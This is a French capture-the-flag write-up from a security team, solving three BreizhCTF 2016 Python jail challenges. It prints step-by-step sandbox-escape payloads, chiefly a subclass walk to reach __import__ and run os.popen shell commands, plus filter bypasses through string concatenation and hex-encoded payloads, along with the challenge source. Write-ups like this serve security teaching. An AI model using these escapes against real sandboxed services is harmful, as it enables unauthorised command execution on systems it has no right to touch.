Nous avons répondu présent au BreizhCTF 2016 organisé par La Meito, @SaxX et @Kaluche. Nous nous sommes classés 2ème dans le CTF attaque-défense de l’après-midi préparé par diateam, et 2ème également dans le jeopardy de la nuit.
Nous vous proposons ci-dessous les Write-Up des épreuves PyJail 1, 2 et 3 qui ont été résolues par Sofiane Benmekki, actuellement consultant stagiaire.
Merci aux sponsors de cet événement que nous avons apprécié ! Et bravo aux organisateurs que vous pouvez retrouver en interview par NoLimitSecu.
PyJail 1
Chall: Pyjail1 | Points: 300 | Taux de réussite: 36%
Le titre de ce challenge nous donne un bonne piste pour le résoudre. Pour commencer, on cherche les fonctions autorisées.
En essayant quelques-unes d’entre elles, on découvre que seule la fonction dir est autorisée.
L’idée pour résoudre ce challenge est de trouver une méthode accessible qui pourrait permettre l’exécution de commandes systèmes ou de trouver un chemin vers la fonction « __import__ » de python afin de charger le module « os ».
En exécutant la commande suivante sur le serveur :
>print ().__class__.__base__.__subclasses__()
[..., <class 'warnings.catch_warnings'>, ...]
Le résultat est une liste de types et de classes accessibles depuis l’environnement restreint (python jail).
Nous avons une liste de classes et de types exploitables. Nous allons exploiter la classe « warnings.catch_warnings » car elle a un attribut « _module » qui pourrait nous permettre d’accéder aux fonctions accessible d’un module (et potentiellement à la fonction __import__ ).
cf : https://hg.python.org/cpython/file/2.7/Lib/warnings.py
Afin d’analyser le contenu de cet attribut, il faut créer une instance de cette classe qui sera stockée dans la variable « wclass »:
>wclass = ().__class__.__base__.__subclasses__()[59]()
En appliquant la fonction dir à l’attribut « _module » :
>print wclass._module
<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>
>print dir(wclass._module)
['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory', '_processoptions', '_setoption', '_show_warning', 'catch_warnings', 'default_action', 'defaultaction', 'filters', 'filterwarnings', 'formatwarning', 'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning', 'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k']
Un attribut très intéressant apparait, c’est « __builtins__ ».
>print wclass._module.__builtins__
{..., '__import__': <built-in function __import__>, ...}
Le contenu de « __builtins__ » est un dictionnaire de fonctions « builtins » python contenant entre autres la fonction __import__.
Une fois cette fonction localisée, il ne reste plus qu’à importer le module « os » et exécuter des commandes système à l’aide de la fonction « os » de ce module pour obtenir le flag.
>print wclass._module.__builtins__['__import__']('os').popen("pwd && ls -alR ").read()
>print wclass._module.__builtins__['__import__']('os').popen("cat flag").read()
BZHCTF{flag_pyjail_1}
De même, on peut récupérer le code source du challenge (« cat python_vm1.py ») :
#!/usr/bin/python2.7 import readline def filter_1(payload): return payload def python_vm1(): def exec_sandbox(payload): exec payload in scope scope = {"__builtins__" : {"dir" : dir, "_" : exec_sandbox}} while True: try: data = raw_input(">") if data is None: break data = filter_1(data) exec_sandbox(data) except EOFError: break except Exception as e: print("Something went wrong ", e) if __name__ == '__main__': python_vm1()
PyJail 2
Chall: Pyjail2 | Points: 200 | Taux de réussite: 14% |
Pour ce deuxième challenge de pyjail, on reste dans la même idée que le premier : sortir du « jail ». Par contre l’ensemble des entrées acceptées par le programme se trouve réduit (le double underscore n’est plus accepté par le programme comme entrée).
Ayant récupéré le code du premier challenge, on remarque qu’il existe une fonction « _ » qui prend en paramètre une chaine de caractères et qui exécute le code reçu.
L’idée est la suivante : nous allons exécuter les mêmes commandes qu’avant (pyjail1) sauf que cette fois-ci c’est la fonction « _ » qui se chargera de leur exécution. Comme cette fonction accepte une chaine de caractères en entrée, l’opérateur de concaténation de deux chaines de caractères peut être exploité pour exécuter du code contenant un double underscore ( « __ » <=> « _ » + « _ » ) et obtenir le flag :
>_("wclass = ()._"+"_class_"+"_._"+"_base_"+"_._"+"_subclasses_"+"_()[59]()")
>_("print wclass._module._"+"_builtins_"+"_['_"+"_import_"+"_']('os').popen('cat flag')").read()
BZHCTF{flag_pyjail_2}
De même, on peut récupérer le code source du challenge (« cat python_vm2.py ») :
#!/usr/bin/python2.7 import readline def filter_2(payload): """ No double underscore """ while "__" in payload: payload = payload.replace("__", "") return payload def python_vm2(): def exec_sandbox(payload): exec payload in scope scope = {"__builtins__" : {"dir" : dir, "_" : exec_sandbox}} while True: try: data = raw_input(">") if data is None: break data = filter_2(data) exec_sandbox(data) except EOFError: break except Exception as e: print("Something went wrong ", e) if __name__ == '__main__': python_vm2()
PyJail 3
Chall: Pyjail3 | Points: 300 | Taux de réussite: 7% |
Ce challenge reste dans la même logique que les deux précédents (sortir du jail), sauf que cette fois-ci l’alphabet d’entrée du programme ne contient plus les caractères suivants : » ‘ __ (double underscore)
L’approche utilisée pour le pyjail2 n’est pas applicable sur ce challenge car on n’a plus de moyen d’envoyer une chaine de caractères au programme. Reste l’approche du payjail1, mais celle ci nécessite des caractères non autorisés dans ce challenge.
En listant les outils que l’on a :
- La fonction dir
- La fonction _
- La déclaration de variables de type autre que str (ex. : a = 2)
L’idée de construire une chaine de caractères qui sera notre payload pour récupérer le flag semble la plus pertinente, on sait que le payload permettant la récupération du « flag » est le suivant :
>wclass = ().__class__.__base__.__subclasses__()[59]()
>print wclass._module.__builtins__['__import__']('os').popen('cat flag').read()
N’ayant pas de moyen direct pour instancier un objet de type str, l’utilisation la fonction dir nous permet d’instancier un objet de type str :
> a= 2
> print dir(a)
['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr__', '__div__', '__divmod__', '__doc__', '__float__', '__floordiv__', '__format__', '__getattribute__', '__getnewargs__', '__hash__', '__hex__', '__index__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'imag', 'numerator', 'real']
> b = dir(a)[0]
> print b
'__abs__'
Comme le payload contient un nombre important de caractères non alphabétiques ( » ‘ ()[] = . ), la construction du payload à partir des chaines de caractères qu’on peut obtenir à l’aide des fonctions accessibles n’est plus envisageable, mais, si on encode le payload en base 16 (hexadécimal) l’alphabet sera réduit à 16 caractères.
Et la conversion de l’hexadécimal vers une chaine de caractères est possible car les deux méthodes « encode » et « decode » sont autorisées.
>print b.encode
<built-in method encode of str object at 0x7f942313e780>
>print b.decode
<built-in method decode of str object at 0x7f942313e780>
Il ne reste plus qu’à construire l’alphabet hexadécimal. Pour commencer, il faut construire le mot « hex » pour que les deux méthodes « encode » et « decode » puissent être utilisées.
> hex = dir(a)[16][2:5]
> print b.encode(hex)
5f5f6162735f5f
Une fois cette opération possible on passe à l’étape suivante qui consiste en la création de l’alphabet hexadécimal :
>tmp = [c.encode(hex) for c in dir(b)]
>print tmp
['5f5f6164645f5f', '5f5f636c6173735f5f', '5f5f636f6e7461696e735f5f', '5f5f64656c617474725f5f', '5f5f646f635f5f', '5f5f65715f5f', '5f5f666f726d61745f5f', '5f5f67655f5f', '5f5f6765746174747269627574655f5f', '5f5f6765746974656d5f5f', '5f5f6765746e6577617267735f5f', '5f5f676574736c6963655f5f', '5f5f67745f5f', '5f5f686173685f5f', '5f5f696e69745f5f', '5f5f6c655f5f', '5f5f6c656e5f5f', '5f5f6c745f5f', '5f5f6d6f645f5f', '5f5f6d756c5f5f', '5f5f6e655f5f', '5f5f6e65775f5f', '5f5f7265647563655f5f', '5f5f7265647563655f65785f5f', '5f5f726570725f5f', '5f5f726d6f645f5f', '5f5f726d756c5f5f', '5f5f736574617474725f5f', '5f5f73697a656f665f5f', '5f5f7374725f5f', '5f5f737562636c617373686f6f6b5f5f', '5f666f726d61747465725f6669656c645f6e616d655f73706c6974', '5f666f726d61747465725f706172736572', '6361706974616c697a65', '63656e746572', '636f756e74', '6465636f6465', '656e636f6465', '656e647377697468', '657870616e6474616273', '66696e64', '666f726d6174', '696e646578', '6973616c6e756d', '6973616c706861', '69736469676974', '69736c6f776572', '69737370616365', '69737469746c65', '69737570706572', '6a6f696e', '6c6a757374', '6c6f776572', '6c7374726970', '706172746974696f6e', '7265706c616365', '7266696e64', '72696e646578', '726a757374', '72706172746974696f6e', '7273706c6974', '727374726970', '73706c6974', '73706c69746c696e6573', '73746172747377697468', '7374726970', '7377617063617365', '7469746c65', '7472616e736c617465', '7570706572', '7a66696c6c']
> alphabet = tmp[0][5]+tmp[3][-5]
>print alphabet
12
Pour au final avoir le résultat suivant :
>print alphabet
1234567890abcdef
Une fois l’alphabet prêt, le payload peut être encodé en hexadécimal :
>>> "wclass = ().__class__.__base__.__subclasses__()[59]()".encode('hex')
'77636c617373203d2028292e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b35395d2829'
>>> "print wclass._module.__builtins__['__import__']('os').popen('cat flag').read()".encode('hex')
'7072696e742077636c6173732e5f6d6f64756c652e5f5f6275696c74696e735f5f5b275f5f696d706f72745f5f275d28276f7327292e706f70656e282763617420666c616727292e726561642829'
Sachant que les deux méthodes « encode » et « decode » retournent une chaine de caractères comme résultat, l’idée est d’envoyer ces deux lignes en hexadécimal au programme et que le programme les décode pour les envoyer à la fonction « _ » qui prend en paramètre une chaine de caractères. En utilisant le petit programme python ‘generator.py’, on transforme le code hexadécimal en plusieurs accès à la liste alphabet qui contient l’alphabet hexadécimal (ce qui permet de n’envoyer au programme que des caractères autorisés).
generator.py :
payload_init_wclass = "77636c617373203d2028292e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b35395d2829" payload_get_flag = "7072696e742077636c6173732e5f6d6f64756c652e5f5f6275696c74696e735f5f5b275f5f696d706f72745f5f275d28276f7327292e706f70656e282763617420666c616727292e726561642829" alphabet = "1234567890abcdef" print "CODE TO INIT WCLASS :" line_0 = "" for c in payload_init_wclass: line_0 = line_0 + "alphabet["+str(alphabet.index(c))+"]+" print line_0 print "CODE TO GET THE FLAG :" line_1 = "" for c in payload_get_flag: line_1 = line_1 + "alphabet["+str(alphabet.index(c))+"]+" print line_1
Initialisation de la variable wcalss :
> _((alphabet[6]+alphabet[6]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+
alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+alphabet[1]+alphabet[9]+alphabet[2]+alphabet[13]+
alphabet[1]+alphabet[9]+alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+
alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+
alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+
alphabet[4]+alphabet[15]+alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+
alphabet[5]+alphabet[1]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[5]+alphabet[4]+
alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+
alphabet[4]+alphabet[15]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[4]+alphabet[5]+alphabet[1]+
alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+
alphabet[6]+alphabet[2]+alphabet[5]+alphabet[4]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+
alphabet[4]+alphabet[15]+alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]+alphabet[4]+alphabet[11]+
alphabet[2]+alphabet[4]+alphabet[2]+alphabet[8]+alphabet[4]+alphabet[13]+alphabet[1]+alphabet[7]+
alphabet[1]+alphabet[8]).decode(hex))
>print wclass
catch_warnings()
Récupération du flag :
> _((alphabet[6]+alphabet[9]+alphabet[6]+alphabet[1]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[14]+
alphabet[6]+alphabet[3]+alphabet[1]+alphabet[9]+alphabet[6]+alphabet[6]+alphabet[5]+alphabet[2]+
alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+
alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[13]+alphabet[5]+alphabet[15]+
alphabet[5]+alphabet[3]+alphabet[6]+alphabet[4]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[4]+
alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[1]+
alphabet[6]+alphabet[4]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[12]+alphabet[6]+alphabet[3]+
alphabet[5]+alphabet[8]+alphabet[5]+alphabet[14]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+
alphabet[4]+alphabet[15]+alphabet[4]+alphabet[11]+alphabet[1]+alphabet[6]+alphabet[4]+alphabet[15]+
alphabet[4]+alphabet[15]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[13]+alphabet[6]+alphabet[9]+
alphabet[5]+alphabet[15]+alphabet[6]+alphabet[1]+alphabet[6]+alphabet[3]+alphabet[4]+alphabet[15]+
alphabet[4]+alphabet[15]+alphabet[1]+alphabet[6]+alphabet[4]+alphabet[13]+alphabet[1]+alphabet[7]+
alphabet[1]+alphabet[6]+alphabet[5]+alphabet[15]+alphabet[6]+alphabet[2]+alphabet[1]+alphabet[6]+
alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+alphabet[6]+alphabet[9]+alphabet[5]+alphabet[15]+
alphabet[6]+alphabet[9]+alphabet[5]+alphabet[4]+alphabet[5]+alphabet[14]+alphabet[1]+alphabet[7]+
alphabet[1]+alphabet[6]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[3]+
alphabet[1]+alphabet[9]+alphabet[5]+alphabet[5]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+
alphabet[5]+alphabet[6]+alphabet[1]+alphabet[6]+alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+
alphabet[6]+alphabet[1]+alphabet[5]+alphabet[4]+alphabet[5]+alphabet[0]+alphabet[5]+alphabet[3]+
alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]).decode(hex))
BZHCTF{flag_pyjail_3}
Code Python du challenge :
#!/usr/bin/python2.7 import readline def filter_3(payload): ''' - No string literal - No double underscore ''' payload = payload.replace("'", "").replace('"', '') while "__" in payload: payload = payload.replace("__", "") return payload def python_vm3(): def exec_sandbox(payload): exec payload in scope scope = {"__builtins__" : {"dir" : dir, "_" : exec_sandbox}} while True: try: data = raw_input(">") if data is None: break data = filter_3(data) exec_sandbox(data) except EOFError: break except Exception as e: print("Something went wrong ", e) if __name__ == '__main__': python_vm3()